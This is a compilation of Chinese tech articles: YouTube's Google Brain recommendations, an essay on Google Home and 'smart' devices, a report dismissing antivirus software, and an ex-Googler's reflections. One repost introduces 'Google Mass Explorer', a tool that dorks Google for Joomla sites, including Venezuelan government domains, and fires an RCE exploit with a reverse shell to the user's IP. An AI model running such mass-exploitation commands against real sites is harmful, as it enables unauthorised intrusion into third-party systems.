与此同时，Facebook 已经发明了我们这个时代的定义形式：News Feed。它是根据你的兴趣，个性化定制的无限更新流。Feed 占领了消费者网络，从 Tumblr 到 Twitter，到 Instagram，再到 LinkedIn。YouTube 早期实现个性化的方法要更有限，包括要求用户订阅频道。这个比喻来自于电视，并且产生了混杂的结果。虽然 2011 年的大量推送订阅取得了一些成功，但是 ComScore 上的数据显示，一个人观看 YouTube 的平均时间却没有变化。

频道不再像曾经那样支配着 YouTube。现在，在手机上打开 YouTube，会发现它们隐藏在一个分开的标签页里。而应用打开的则是一个 feed 流，由根据用户兴趣定制的视频集组成。当然有来自你订阅频道的视频，但是还有来自你可能没有看过的频道的视频，这些视频跟你之前观看过的视频相关。

这就是为什么直接搜索了《羞辱》（Dishonored）视频之后，我开始看到游戏中的秘密行动和讽刺评价的推荐。YouTube 开发的工具使得它的推荐不仅是个性化的，而且极其准确，从而增加了整个网站的视频观看时间。

YouTube 推荐的技术领导 Jim McFadden 在 2011 年加入了公司，他说：“当人们知道他们是来找什么的时候，我们知道他们会上 YouTube。我们也希望在他们不一定知道想找什么的时候，为他们提供服务。”

在 2011 年 McFadden 加入 YouTube 几个月后，我第一次访问了这个公司。YouTube 当时和现在一样，首要目标都是让用户花更多时间来观看视频。那时事情进行得不是特别顺利。McFadden 说：“YouTube.com 作为一个主页，并没有大量参与度。我们想，既然这样怎么才能把它转变成目标呢？”

Youtube 尝试了很多方法。给顶部的视频主（top creator）购买了专业摄影仪器。引进了 leanback，这个特性允许用户在当前视频播放时排列一会要看的新视频。重新设计了 Youtube 主页，突出订阅频道而不是单独的视频。

每个用户观看的视频数量没有变化，但是一个改变让接下来的那个春天终于有了起色：YouTube 的算法推荐不再基于视频点击量，而是基于视频观看时长。

几乎一夜之间，那些从误导人的标题和缩略图中获益的视频主就发现他们的浏览量暴跌。更高质量的视频不断涌现，这些视频与更长的观看时间紧密相连。接下来的三年，YouTube 的用户观看时长每年增长 50%。

我订阅了几个频道，并认为自己称得上是一个 YouTube 的常客。但是要想让它变成一个每天能被访问很多次的网站，YouTube 需要一些新的工具——这些工具在过去 18 个月内才成为现实。

这个月当我拜访 YouTube 办公室时，McFadden 揭示了 YouTube 突然的准确推荐的原因：Google Brain，它是母公司的人工智能部门，YouTube 从 2005 年开始使用它。Google Brain 不是 YouTube 使用人工智能（AI）的第一次尝试。YouTube 之前利用过 Google 建立的系统 Sibyl，将机器学习技术应用于推荐。但是 Google Brain 应用了一种叫非监督学习的技术：它的算法能够找到不同输入之间的关系，而软件工程师永远想不到这些关系。

“它的关键之一是，它能够概化（generalize）。然而之前，如果我看了一个喜剧演员的视频，我们的推荐很擅长说，这还有一个和它一样的视频。但是 Google Brain 模型能选出其他相似但并不完全一样的喜剧演员——甚至有更紧密的关系。它能够看到不那么明显的模式。”McFadden 说。

举个例子，Brain 算法开始向 YouTube 手机应用用户推送短视频，向电视应用用户推送长视频。它推测，根据平台来推送不同时长的视频，能够增加视频观看时长；这个想法是正确的。YouTube 在 2016 年发布了 190 个类似的改动，并且会在今年逐步发布另外 300 个。Todd Beaupre 是 YouTube 挖掘团队的产品组经理，他说：“事实是，大量小的改进随着时间逐步积累。对每一个改进，你尝试了 10 件事，并发布一个。”

Brain 算法比 YouTube 之前运算得更快。过去几年，它需要花几天时间来将用户行为与未来推荐整合起来。该公司说，这使得公司很难确定热门主题。“如果我们想要让用户回来，弄清现在正在发生什么，那么我们已经从某种程度上解决了这个问题。现在的延迟是用分钟或者小时计算的，而不再是几天了。”Beaupre 说。

整合 Brain 产生了巨大的影响：超过 70% 的 YouTube 视频观看时长都是由算法推荐产生的。每天，YouTube 向用户推荐 200 万个不同的、76 种语言的视频。人们在 YouTube 主页上观看视频的总时长比三年前增长了 20 倍。

这大概和我自己的行为对上了。几年前，我开始经常在午餐时间访问 YouTube 主页，这样吃饭的时候可以看看视频。但是它的推荐足够好，让我开始更经常地给自己 YouTube 休息时间。本周我失控了，在 PlayStation 4 上登陆了 YouTube，这样我就能在我所拥有的最大屏幕设备上看推荐视频了。

这就是真正个性化 feed 的强大之处。但是我对 YouTube 的感觉，与其他组成电子生活的事物很不同；这让我感到吃惊。Facebook 的 feed 是基于好友的动态，以及你点过赞的主页的动态。它能告诉你谁订婚了或者生孩子了。但是我觉得，这些关于好友里程碑式事件的动态内容没那么有趣。Twitter 中则有关注人的推文，以及他们转推的内容。作为一个记者，我几乎被要求住在 Twitter 里，尽管最近主页的时间线里只有无穷无尽的、慌张的尖叫。

每种 feed 都有它的长处，尽管 2017 年让它们消减了。在 Twitter 上，无论你关注了谁，政治都主导了所有讨论。Facebook 对事件和组这类特征的一时热情导致它的 feed 周周都以不和谐的方法转变，让我觉得我和好友们不再那么相联。（都是图片的 Instagram 仍然像个绿洲，这个应用仍然在快速增长也不是什么奇迹。）

Facebook、Twitter 和 Instagram，他们的 feed 都经常要求你在他们的平台上表演；这似乎很显著。YouTube 明显是由表演驱动的，即使只有小部分的用户上传过视频，它也不曾对用户施加压力，要求他们上传视频。人们可以被动地享受 YouTube，就像它想方设法地想要取代的电视频道。在这个疯狂的时代，在没有被问到我对当天新闻的反应时，有些东西也能保持镇静。

YouTube 强调与你可能喜欢的视频相关联的视频，这意味着它的 feed 似乎总要比它同类型的网站在视野范围上更广、更好奇。YouTube 越是在远的地方寻找内容，它越像是想要逃离其他 feed。在黑暗的一年，我会接受 YouTube 提供的所有东西来逃避现实。

2013 年，Alexis Madrigal 在 Atlantic 上写道，假定我们知道 feed 已经达到了顶峰。他认为，未来是属于有限的经历的：时事通讯邮件、Medium 专栏、10 集的 Netflix 剧集。毕竟，无穷无尽的内容流让人感到疲惫。“当媒体主义的秩序废止时，自由不会冲进真空吸尘器里，但是会产生一个有着它自己逻辑的新兴秩序。”Madrigal 写道。“我们发现，流引进了它自己种类的强烈欲望和约束。更快！更多！更快！更多！更快！更多！”

4 年来，YouTube 的方法表明 feed 只会变得更加重要。抵制一个与不断提高的个性化方法相对应的、不断增长的视频库是困难的。YouTube 现在对用户进行了调查，调查他们有多喜欢推荐给他们的视频；随着时间流逝，结果会使 YouTube 更聪明——会导致更多的视频被「消费」。

Beaupre 向我把这个过程描述成穿过峡谷。“这里有与你喜欢过的视频紧密联系的视频，也有热点和流行的视频。但是在这之间，是魔法区。”如果 YouTube 的对手无法找到穿过峡谷的路，他们可能会发现很难与 YouTube 抗衡。

恰到好处的人工智能

Wed, 07 Jun 2017 21:42:15 CST

技术不应该给用户带来使用难度，而是提高效率，并恰到好处地提供帮助。

这是我在使用 Google 智能音箱 Google Home 之后的总结。

智能、AI，是今年创投圈的关键词。如果你在京东、淘宝上搜索各种家电，多多少少这些产品都会说自己是「智能」的，到底什么是智能？把安卓系统塞到硬件里，这个硬件是不是就是智能了？我认为不是。在我的字典里，「智能设备」指的是当我说 1 ，它知道我接下来要说 2 ，当我还没说 3 ，它就能说出 4 的产品；同时，它知道我在 A 场景里说 1，需要的是 3 ，而在 B 场景里，我需要的是 2。

按照这个定义，很多在宣传上带有「智能」二字的产品根本 不能称为智能，而是能而不智。

为了智能而智能

记得 2013 年，当我还在极客公园的时候，我们认为汽车车载系统会是下一个智能设备的战场，于是我们找了一些汽车厂商，合作做车载系统的评测。

我们拿到的第一辆车是当时号称拥有国内最先进的「智能」车载系统的某品牌汽车，系统基于 Android 1.x ，实际上，当时 Android 已经推出到 4.x 。打开系统后，我看到了 UC 浏览器、新浪微博等常用的 app，点开 UC 浏览器，艰难地在电阻屏上输入了网址，然后开始评测这个所谓的「智能」车载系统。

我经常拿这个例子作为反例跟朋友分享什么是 场景化的需求。在开车的时候，你需要用车载系统浏览网页么？你没有这功夫。停车的时候呢？手机上的浏览器会给你更好的体验。那么，车载系统里的浏览器有什么存在的价值？

没有。

新浪微博有存在的价值么？我认为也没有。开车时，我们可能需要瞄一眼导航、需要瞄一眼手机蹦出的紧急通知（比如来电、微信的点对点消息），但更多的注意力显然是在方向盘上，大多数人不可能这个时候还有心思去关心明星们的八卦。如果关心，停下来用手机慢慢刷微博是更好的选择。

所谓场景化的需求，是在特定场景下提供刚好满足用户需求的功能，而不是给用户大而全和提高用户操作门槛降低效率的选择。2013 年我们评测的这个车载系统，显然是个经典的反例。

另一个我也经常举的反例是微信公众号操作空调。有不少厂商，在空调上安装了 WiFi 芯片，通过繁复的配置后，用户可以在他们的公众号里开关空调、调整温度。不妨想一下，一般的家庭，空调遥控器都是摆在触手可及的地方，拿起遥控器 —> 按下开关所花费的时间，肯定要比你在微信对话列表里搜索这个厂家的公众号 —> 找到功能项 —> 按下开关所花费的时间要少很多。这样的「智能」首先一点都不智能，其次，整个操作变得繁琐、效率低下。

然而，很多厂商依然把「我们能用微信控制」「我们能用 app 控制」作为卖点去宣传，其实这是为了智能而智能，为了连接微信而连接，为了做 app 而做 app。你会发现，很多厂商的 app 更新频度极低，如果用户真的如他们想象的那么频繁去使用 app 控制空调，相信他们会很乐意经常更新 app。

很多人购买这些所谓的「智能」电器后，头几次使用可能很兴奋，用手机折腾一番，但热度一过，肯定还是用回传统的遥控器。

方便，是比「伪智能」跟优的选择。

而且，如果按照我对智能的定义，我说 1 时它知道 2，我感觉热时空调就自动打开，遥控器从实体塑料变成微信公众号，本质上也是说 1 做 1，说 2 做 2，智能在哪里？

场景化的智能

智能不是一个新词，只不过，今年刚好撞到了投资的风口。当然，这得益于科技的进步，我们有了更快的机器和更容易让机器自我学习的神经网络。

场景化的智能，就是在我需要什么的时候， 恰到好处地提供什么。

很多精英分子对今日头条嗤之以鼻，实际上，它是一个粘度极高的 app，我看到很多人每天在今日头条上花费超过 1 小时的时间，原因是他们总是能在今日头条看到他们感兴趣的新闻，于是不能自拔一直看下去。我母亲就是其中一个典型用户。

另一个精英分子嗤之以鼻的产品，快手，也是如此。用户每天在快手的停留时间超过 50 分钟，原因和今日头条类似。

这两家公司的创始人都是技术出身，公司的技术人员数量也非常之多，他们通过算法，为用户推荐适合当前场景阅读的内容。虽然，有些内容我看着也很不舒服。

另一个例子是 Google 搜索，比如当我在 Google 搜索《神奇女侠》的时候，Google 不仅给出了传统的搜索结果，还提供了最近的电影放映时间，因为它猜我有可能想去看这部电影：

它还在侧栏展示了电影的演员，当我点开主角 Gal Gadot 的搜索页面时，Google 展示了以前也扮演过神奇女侠的演员，因为它认为我可能对这些女演员有兴趣：

这些，都是场景化的智能，当我阅读一条狗血新闻时，头条给我推荐一条更狗血的，当我搜索一个关键词时，Google 认为我可能对相关的其它信息感兴趣。Google 不会突然在 Gmail 里冒出神奇女侠的搜索结果，因为我正在处理工作，显然没有心思关心电影什么时候上映。

解放双手的场景化智能

Google Home 是我最近用的场景化做得最好的智能设备之一，我几乎每天都使用。

我一直认为，用语音问 Siri 天气是一件很傻的事，因为当我们拿着 iPhone，显然下拉一下看天气比用 Siri 更快，另一方面，如果我们在公众场合，大声跟 Siri 说话，似乎……是一件很傻的事。

但在家里就不一样，在家里，我大声说话不会影响其他人，也不会感到害羞；另一方面，在家里的时候，我双手一般在电脑键盘上，用语音问天气显然要比我把双手从键盘移开来得更方便。

另一个我使用得最多的功能是设定倒计时，工作时累了我喜欢在椅子上小睡一会，以前我会打开手机设置闹钟，现在，我只需要闭上眼睛，跟 Google Home 说，设定一个 10 分钟的闹钟，它就会在 10 分钟后叫醒我。

这些都是小功能，但它们体现出一种场景化的设计。就像前面举的车载系统的例子，开车时我们真的需要浏览器么？不需要。Google Home 需要有很多功能么？不需要，它只需要让用户在家里「 解放双手」。

这就是我在文章第一段说的，「技术不应该给用户带来使用难度，而是提高效率，并恰到好处地提供帮助」。

恰到好处，比大而全，比为了显示智能而智能，其实更考验产品的技术能力。

一方面，在开发产品时，需要完全了解用户的场景，知道应该在什么地方为用户提供帮助；另一方面，技术的积累是能提供「恰到好处」的必要条件。

Google Home 是我唯一用过觉得「不傻」的语音助理，首先是因为它的功能足够场景化，其次，它对语音交互过程中的上下文理解得非常透彻。比如，我问它「川普是哪年出生的」，接下来再问，「他女儿有多高」，它都能对答如流。

这种技术的积累是让人望洋兴叹的。我拍了一段演示视频。

「智能」在硬件产品里有多重要？

前一段时间和一位朋友聊天，他说他不看好智能音箱，他认为，所有的智能家居，除非 AI 的成熟程度已经达到了《钢铁侠》中的级别，否则，智能可能只是它的宣传亮点，而不是产品的核心卖点。

他的话是有道理的，举个例子，在我使用 Google Home 的总时间里，听音乐占了最长的使用时段，虽然我会随口问一下天气，问一下简单的问题，但听歌、听播客甚至即将支持的打电话功能，主要使用的是它的音箱，而不是「智能」。

如果「听」是主要场景，那么，智能音箱的核心竞争力是否应该是音质，而不是智能？

Google 和苹果分别给出了不一样的答案。

苹果在今年的 WWDC 把智能音箱 HomePod 作为最后一个产品压轴介绍，和外界的猜测一样，在 Amazon 和 Google 分别推出智能音箱后，苹果紧随推出。

苹果和 Google 音箱的侧重点显然不一样，从官网的介绍页面也能看出。Google Home 的介绍页面前几页，都是介绍它的功能以及有多么「智能」，而苹果则是花大量的章节介绍音质和外观。这体现了两家公司对智能音箱的定位不同和技术积累区别。

Google 从搜索起家，很早就开始部署 AI ，如果你有使用 Google Assistant app，你会发现它的聪明程度超过 Siri 几百条街。如果你有使用 Google 相册，你会发现，Google 对照片的识别能力比 iCloud 强太多，Google 能把我过去 10 多年的照片里我识别出来，并识别为唯一一个人，但 iCloud 却识别成好几个人。

所以，Google 自然要炫耀它家的技术能力，自然要告诉全世界，论 AI，还是 Google 强。但对于一个音箱来说，AI 是重要的功能么？如果我们不把它定义为音箱呢？

Google 把 Google Home 定义为家庭助理，听音乐是它的附加属性，而苹果，则是在做一个高品质的音箱，AI，只是这个音箱的附加功能。就像 Apple Watch，苹果花在设计上的宣传显然比花在智能上的宣传要多。

国内的厂商也有不同的看法，有些厂商在设计上花了很大的功夫，认为智能音箱首先是一个装饰品，然后才是语音助理，而有一些，则和 Google 一样，强调技术实力。

这两条路线哪个才是更好的？我不知道。如果从市场规模来看，可能苹果的路线更正确，但如果从投资未来的角度，Google 可能在做更正确的事。当然，可能都对，也许未来会走向融合，比如，当你追求音箱的重低音时，你发现 Bose 推出了一款内置了 Google Assistant 能力的音箱，这不是更好的选择么？

回到国内的产品，对于强调技术的产品，我很喜欢，但也略微担心。即使没有墙，Google Home 在中国依然会是一款小众产品，相比起智能助理，人们对音箱的需求显然更大。如果一个产品过度强调技术，而忽略「生活方式」，那么互联网的主要消费人群 — 女性，是否会买单？我没有答案，我唯一有答案的是，如果一个产品首先面向的是崇拜技术的极客人群，它会得到很好的传播，但在后期，它必须是一款平民级的「生活产品」，否则，市场太小。那么，这个时候，智能和硬件之间，谁才是真的「恰到好处」？

不管怎样，我们可以预见未来会出现很多细分场景的 AI 助理，做菜的、陪伴的、导游的……想想都会觉得，科技真美好，而这些的实现，离不开技术的积累。

祝福那些有深厚技术积累的公司。

好用的Google漏洞爬虫：Google Mass Explorer

Thu, 10 Nov 2016 17:22:31 CST

这是一款基于谷歌搜索引擎的自动化爬虫。

爬虫介绍

爬虫大体机制就是：

先进行一次谷歌搜索，将结果解析为特定格式，然后再提供给exp使用。

大家可以尝试使用–help来列出所有参数。

这个项目笔者会持续更新，以后再添加新的exp进行升级。此外，它会利用google_parsers模块去构建exp解析搜索结果，所以当你开始搜索时，可以选择“–exploit parser”参数来指定相应exp。

google parsers模块（google_parsers.py）以后还会继续优化，而现在的exp只含有joomla cve，毕竟这个项目主要是给大家自己diy使用的。但是，如果你不会弄exp，把利用exp提交给过来也行。

由于笔者平时还是比较忙，所以没有太多时间去手动搜索目标。故而，笔者尝试使用Selenium框架去造了个爬虫来搜寻测试目标。至于搜索过程中出现的Google的验证码，它需要其他库和模块来辅助解决。在项目里使用Selenium后，大家就可以在谷歌出现验证码的是时候，自行手动输入验证码，然后爬虫就可以继续爬行了。这大概是笔者能想出的最好的解决验证码防护的办法了。

简单概述下爬虫是如何工作的：

1. 执行谷歌搜索

2. 从每一页解析结果

3. 测试是否结果中含有漏洞

依赖与需求

这个项目需要python3，使用requirements安装依赖库的方法如下：

  $ sudo pip install -r requirements.txt

运行示例：

  python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="França" --last_update="no último mês"

在上面的例子里，笔者是在寻找法国的joomla RCE目标，使用的是google_domains.txt里面的google域名（比如google.co.uk）来作为搜索引擎，“–last_update”则代表着搜索结果的更新时间为上个月。

上面例子里的选项适用于任何语言，主要决定于google针对相应的国家给出的语法。

下面再给出一个简单的例子：

  python3 google_explorer.py --browser='chrome' --dork='site:gob.ve inurl:index.php' --location="Venezuela"

当然，这些exp也是可以单独使用的：

$ cd xpl_parsers

$ python joomla_cve_2015_8562.py

单独测试exp的方法：

       $ cd exploits
  $ python exploiter.py --file <vuln file>

* 参考来源： Github，FB小编dawner编译，转载请注明来自FreeBuf（FreeBuf.COM）

谷歌工程师：杀毒软件根本没什么用

Sun, 20 Nov 2016 15:54:41 CST

如果说你还认为杀毒软件对每个电脑用户都是必不可少的，谷歌的高级安全工程师Darren Bilby可能会给你一个不一样的答案。

“不要在没用的东西上投资”

Bilby作为企业基础设施保护团队中保障平台完整（Platform Integrity）组的负责人，在近期新西兰的Kiwicon黑客大会上明确表达了自己的观点： 杀毒软件其实没什么用，安全行业应该把工作的重心放在其他真正有用的方面，像是白名单这一类的应用。

Bilby不仅是谷歌悉尼办公室应急事件响应人，还负责包括2009年极光行动（Operation Aurora）在内等最高级入侵事件的研究。他在这次大会上谴责了多个目前市面上使用的工具，认为工程师被迫安装这些规定的杀毒软件反而会牺牲真正的安全。极光行动是2009年12月可能源自中国的一场网络攻击，其名“Aurora”来自攻击者电脑上恶意文件所在路径的一部分。遭受攻击的除Google外，还有Adobe System、雅虎、赛门铁克等20多家公司。

“拜托再别变什么把戏了，”Bilby称，“我们应该停止再在这些已经证明没用的东西上投资了。”他认为这些杀毒软件只是看起来神奇的魔术，实际上并没有什么真正作用。而且绝大多数人安装杀毒软件都是因为他们觉得应该要装，而不是真觉得装了之后多有用。

“杀毒软件也不是一点用都没有，但那点作用更像是将一只金丝雀养在煤窑里，指望它的存在能净化煤窑产生的有毒气体，而我们就站在死去的金丝雀尸体旁说：‘感谢上帝你把毒气都吸走了’。”

Bilby希望安全专家和黑客们能花更多时间在更有意义的事情上，像是白名单、硬件安全密钥、动态访问权限等。就像谷歌的BeyondCorp模型。BeyondCorp模型是谷歌内部使用的安全策略，就是不要相信任何网络，无论何时何地。

“停止向用户推卸责任”

Bilby认为网络很难做到安全防御，因为用户很容易就可以绕过传统的防御方式，通过移动网络将数据上传到云上。

所以安全使用互联网这种建议听起来就很“恐怖”， 像是告诉用户不要点击钓鱼链接、下载奇怪的可执行文件，其实这都是逃避责任，最根本的原因还是那些硬件和软件制造商从一开始就没做出来能让用户安全上网的工具。如何改善这种现状才是安全专家在未来最应该关注的事情，比如将IDS做得更好，即使用户访问了恶意网站或打开被感染的文件，系统可以始终保障用户安全。

这种推卸责任听起来就是：“我们给用户提供了不能安全上网的设备，但出了安全问题都是用户的错。”

Bilby还说道Adobe Flash光是去年一年就爆出了314个远程代码执行漏洞，嘲讽他们的后院基本上每隔一周就要失火一次。

虽说杀毒软件是否真像Bilby说得那样如此不堪还有待商榷，但Bilby提到的现状也是不争的事实。真正实现用户的网络安全，各安全公司都还有很长的路要走。

* 参考来源： theregister， softpedia，FB小编孙毛毛编译，转载请注明来自 FreeBuf.COM

不装逼地说，在 Google 到底能学到啥？

Mon, 20 Feb 2017 19:14:12 CST

前言

这个问题是提给自己的，算是对我 Google 十年的一个小结。

强调“不装逼”，主要是提醒自己不要陷入下列俗套：

离职后靠黑前雇主、八卦前雇主、揭秘前雇主搏出位（这条是恶行）
满足大众猎奇心理
吹嘘自己，贬低他人

我 2006 年 3 月加入 Google，2016 年 9 月离开。离开时的头衔/职位是 Staff Software Engineer / Manager。前后 10.5 年，大致分三期：

前两年关注 Linux 桌面搜索产品和 Google 的开源项目。
中间三年花了许多力气在 Google 中国相关的产品上，诸如输入法、谷歌音乐之类。
后面四五年大致都在 Knowledge Graph 的范畴内工作，这些工作和 Google 搜索、Google Now 最近几次大幅度的变革密不可分。

其间，代码写了不少，团队也带过好几个。除此以外，这些年还长期在 Google Doodles 团队作为 20% 的开发人员帮忙开发那些好玩的首页涂鸦——嗯，这是真的，好多好玩的 Doodle 里面，都有我的一点小贡献。

学到了啥？嗯，很多，很杂，拣最重要的三四条来说说：

1.第一次真实地生活在一个差异化的世界里

国内教育氛围向来是不喜欢差异化的，个人爱好、冒险精神、特立独行之类的语词，总会让家长、老师乃至领导、官员操碎了心。从小到大，我基本生活在一个试图将所有孩子圈养在尺子、框子、笼子里的世界；可以想象，像我这样的 70 后一脚踏入 Google 时，会有怎样的感慨。

Google、Apple、Facebook、Twitter……对雇员来说，这些公司本身就是一种鼓励差异化生存的大家庭、大社会。其中，Google 又总是扮演引领者的角色，这是在 Google 工作很值得骄傲的一件事。

差异化的最大好处，就是你有机会认识形形色色的神奇人物，然后，当你和人生观、生活方式、个人爱好乃至行为习惯差异巨大的人一起工作时，你会真真切切地感受到，自己生活的这个世界一点儿也不单调，这里有太多好玩的人、好玩的事等着你去发现。

在 Google，看见什么样的差别都不该奇怪。

往小了说，身边既有缩在角落里闷头写代码，讨厌和人交流的社交恐惧症患者，也有精神焕发的社交明星。办公室里，有带狗上班的爱心族，有重视家庭的好爸好妈，有整夜整夜奋斗的梦想家，有痴迷奇特爱好的技术极客……

就拿爱好来说，跟我一起工作过的同事里，说起来好玩的爱好就包括：天天在车库里打造奇形怪状的自行车，休一个无薪假期去帮别人竞选总统，每个周末都跑到一个从没去过的地方留下到此一游照，研究古音韵学，出远海调查海洋生物，长期倒卖二手摄影器材，写科幻小说，尝试大气层外跳伞并打破世界纪录……

当然，要尊重差异化，你就没法阻止任何人从早睡到晚然后每天只花两个小时干完别人十二个小时才能干完的活儿。

往大了说，Google 对 LGBT 群体的支持众所皆知。我当初更多地将这种支持理解为“政治正确”层面的东西。没过多少时间，我就知道我的理解有多么肤浅。有一次，Google 旧金山办公室一对男同在公司餐厅的浪漫求婚视频广为传播，感动了许多同事。事后我才想起，自己曾在硅谷一次会议上，见过那对幸福恋人中的一个。

另有一次，自己所在的整个团队收到了一位高管宣布自己性别改变的邮件，说从那天开始，大家需要称呼他为“她”。与许多人理解的相反，这些发生在身边的事情并没有时时提醒你 LGBT 群体的存在，反之，经历愈多，你会愈加淡化对他们的注意——他们或她们就是人类的普通成员，与你我并没有太大的分别。

去年在 YouTube 上追看 Google 推介的纪录片 HUMAN 时，我已经很清楚，Diversity 这个词早已是自己血液的一部分，我的大脑与纪录片制作者的大脑之间，完全没有任何隔阂。那时，我会对着屏幕上一张张陌生的面孔陷入冥想。

我觉得，这个世界最可笑的一件事就是人类进化明明得益于基因与性格的差异，许多人竟会嘲笑别人与自己的不同之处，并竭力迫使他人改变，恨不得全世界的人都如自己一般固执、愚昧。性取向如此，恋爱、婚姻、家庭、工作、事业无不如此。

Google 员工经常面临一个典型的两难困境：因为许多同事早早离开 Google 去融资、创业、上市、发财，像我这样安心在 Google 工作了十年的普通工程师就变成了另类——当面问我“为什么还没离开 Google”的人，他们眼睛里鄙夷的目光藏都藏不住；反过来，在家人眼中，我打算离开 Google 的举动无异于自己砸碎金饭碗，放着稳定的收入和丰厚的福利不要，非要和不确定性为伍。

其实，如果懂得“多样性”的重要，这种左右两难的困局就不再成立。既然有人选择快节奏和世俗生活，为什么我就不能辞了职，慢悠悠地随着自己的兴趣，由着性子，从不同的角度理解这个世界与自我的关系？为什么“慢生活”就必须是一种逃避？

宇宙很大，人很渺小。安全感是扯淡，特立独行地活着才最重要。

2. 看技术的心态完全不同了

这个主要是说我自己。到 Google 以前，我在国内做银行业的业务软件研发，给工行、中行之类的大企业做软件。这和 Google 这种面向最终用户的互联网背景是有天壤之别的。

以前看待技术，觉得是身外之物，是工具，是砖木，是用来解决用户需求的必需品。这个心态其实也没什么错，但不自觉地就把自己放在技术追随者的位置上了。

那时的我，很多时间都拼命在了解、学习和追赶新技术，生怕落伍。从这个语言追到那个语言，从这个框架追到那个框架，从这个模式追到那个模式，从这个平台追到那个平台……根本停不下来。

那时的我只是个技术的“用户”，就像搬砖盖房子，如果不天天关心今年流行什么材质的砖，明年流行什么样的房子架构，后年流行什么样的房子外观，那肯定被客户和其他程序员骂“老土”。

到 Google 撸胳膊挽袖子一忙活，才发现以前的自己狭隘了，小气了，井底之蛙了。原来以前追的好多顶尖技术，根本就是 Google 工程师主导或参与鼓捣出来的。而且，Google 内部还藏着许多外界不大知道的神奇玩意儿。最最重要的不同是——自己现在是引领技术潮流的大团队中的一员了。

以前是不断学别人怎么设计房子，看别人推荐什么材料盖房子。现在，最顶尖的房屋设计专家、材料专家就在身边，自己也很快就能和他们一样指导别人盖房子了。这种感觉，就像跳进了一个大宝藏，还清楚地知道自己并非盗贼，而是宝藏的主人。盗窃宝藏 vs. 创建宝藏，这两者间的差别很微妙。

心态一下子大不一样了，从技术的“用户”变成了技术的“主人”。

比如，有段时间要解决 C++ 的 ABI 相关问题，猛想起 C++ 标准委员会的相当一部分人都是在 Google 工作的，有一年的全体大会还是在 Google 总部开的——那直接拉着既是同事也是 C++ 权威决策人的家伙一起开会讨论不就是了？

类似的，Linux 内核的维护者、Python 的发明人、UNIX 的元老、Google Brain 的创建者……跟那么多牛人在一个公司里工作，你肯定不好意思只是单方面地跟人讨教，但凡有机会，你总会希望自己也像那些牛人一样，为技术发展做点儿贡献，哪怕只是一丁点儿。

再比如，像 MapReduce、Bigtable、TensorFlow 之类由 Google 原创、对业界影响深远的技术，在 Google 内部可不仅仅是身外的工具，它们都是 Google 工程师这个大集体的作品和骄傲。因为大家都是主人，对哪些东西不爽，可以去鼓捣源代码，可以去提交自己的补丁或者新功能，甚至推翻重做。

别小瞧这推翻重做，虽然很难很难，因为你得一边说服老板和用户，一边找到足够的开发人手，但事实上， Google 内部重新发明一遍、两遍、三遍的框架、工具、库、接口、服务比比皆是。一言不合就动手做个新版本、新系统，这毛病既带来数不清的流程混乱，也带来一山又比一山高的良性竞争——表面的混乱之下，良性竞争引发的技术飞跃常常超出想象。

在 Google，工程师有好几万，不能说每个人都渴望做技术的主人，但踌躇满志的大有人在。因为 Google 走在技术最前沿，有追求的工程师确实没脸当个纯粹的技术追随者。当然，我的意思不是说 Google 里没人去做那些不那么酷的“苦力活儿”，而是说大多数人都有个争强好胜的心态，即便是做相对简单的技术工作，也时常会想想怎么能做出世界一流的效果来。

拿面试来说，有个工程师想出了一道与月球相关的面试题，把算法、编程、设计、维护问题放在太阳系的大背景下，层层追问。我在一次内部面试技术培训时拿这道题当过样例。结果，参加讨论的工程师表达了截然相反的两种意见，有人说这题设计精妙如天马行空，另一些人则批评这题目远离实际如镜花水月。

其实，Google 的技术宅们几乎每天都在深入实际与憧憬未来这两个极端的对位、矛盾、转化中工作。常说的“仰望星空、脚踏实地”远不能形容 Google 工程师的两面性。

一方面，工程师们深知自己的代码是如何参与了这个地球乃至这个星系里最前卫、最大胆的计算机系统，如何为诸如十年后的搜索引擎、拥有人工智能的手机或机器人、量子计算机、基因工程、无人驾驶汽车等贡献力量；

另一方面，工程师们“极客”和“宅”的一面常常在外人难以注意的工作细节里表露无遗——这里有十数年如一日致力于优化编译器的语言高手，有设计最好的代码审读系统的工具专家，有亲自动手实现软硬件原型的技术总监，有坚持为地球上每一种人类语言提供输入输出解决方案的国际化团队……

这是心态的差别，或者说，是技术境界的差别，烙在 Google 工程师的基因里，旁人想学也未必学得到。

3. “管理”二字的意义完全不同了

在 Google，有时候工程师很难管理，因为大多数人都想法新、主意多、眼光高、个性强。在 Google，有时候工程师也很容易管理，只要鼓励他们把一件看似普通的事儿做出世界级的水准，他们自己就有足够优秀的执行力，用不着督促。

在 Google 做技术经理带团队，和我以前在其他公司带团队，完全是两码事。这也许和技术团队的平均水平有关，但 根本还是管理境界的问题。

记得以前在别的公司，花大力气搞开发流程管理，现在想想，大多是繁文缛节，程式化，教条化，最极端的像 ISO9000 之类的流程认证，弄得所有人筋疲力尽，效果未必有多好。

到了 Google，发现一个秘诀， 再多的规章制度，再多的流程，不如一套好用的工具来得有效。比如 Code Style 和 Code Review，以前能把技术经理烦死，三令五申也执行不下去，顶多三天热度之后，大家就阳奉阴违了。在 Google，这件事不完全是个制度的问题。

刚进来的工程师没有过 Readability Review，他就没法方便地自主提交代码，这是代码管理工具设置的硬性限制。这直接把工程师们送到评审委员会那里接受“再教育”，没错，真的是“再教育”，连 Python 之父 Guido van Rossum 也花了挺大力气才通过了 Python 语言代码的 Readability Review。

接下来，提交新代码前，各种静态、动态检查工具自动运行，帮你报出一系列风格错误、编译错误、单元测试错误和简单的逻辑错误，你得先依着工具的提示，把这些低级别错误改一遍，然后才进入 Peer Review 的环节。整个 Code Review 都在非常方便的网页工具里完成，写代码的和审阅代码的人可以方便地交互、讨论，甚至在线修改代码。

工具的“强制性”保证了制度的执行，工具的“便捷性”最大程度减轻了工程师执行制度的负担，二者相辅相成。当然，Google 内部也不乏对制度敷衍了事的，但相对其他公司，Google 的确做得更好些。

说到管理，在 Google 带技术团队的其实都苦哈哈的。我就先后两次把团队交给别人带，自己乐得去做些单纯的代码工作。道理很简单，头衔是 Manager，可你没法高高在上指手画脚，Google 最好的团队带头人都是冲在第一线带着大家一起干，除了主动包揽大家不想干的脏活、累活、杂活之外，还要做管理者必须的非技术工作，比如给每个人写评语、定奖金，帮每个人申请升职，跟心理负担重的谈心……

